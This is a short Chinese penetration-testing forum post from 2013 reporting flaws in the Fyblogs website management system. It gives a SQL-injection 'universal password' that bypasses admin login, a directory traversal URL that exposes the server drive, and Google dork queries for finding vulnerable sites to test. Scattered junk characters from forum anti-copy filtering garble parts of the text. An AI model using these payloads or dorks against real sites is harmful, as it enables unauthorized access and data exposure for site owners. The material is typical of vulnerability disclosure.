中国网络渗透测试联盟

标题: Fyblogs网站管理系统漏洞 [打印本页]

---

作者: admin    时间: 2013-3-7 13:07
标题: Fyblogs网站管理系统漏洞
漏洞类型： 未授权访问/权限绕过
' F, @" j4 d" A1 H! i) |
1 o* S+ Z( u8 Q5 e简要描述：
+ a8 A5 N) h9 Q" n9 y, p
Fyblogs网站管理系统,，后台存在万能密码，后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
* Q/ k2 Z4 h( b/ N0 N
# u7 m7 D" V( x* g& l# H详细说明：
0 ^- _# f" {& T& a) I# i
后台万能密码 'or'='or'
: M: i. h8 X/ K0 h后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
admin/uploadfile.asp?currentFolder=/upfiles/../
# p" S# ^: H. E5 r% D' e
5 |6 V5 m3 g5 p( B漏洞证明：

5 t  H* }+ c1 g& P! N谷歌：inurl:type.asp?id=1 新闻中心
或者 ：inurl:download_ok.asp?

可以测试
* ]$ O' ~7 S* k! [7 M
​

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2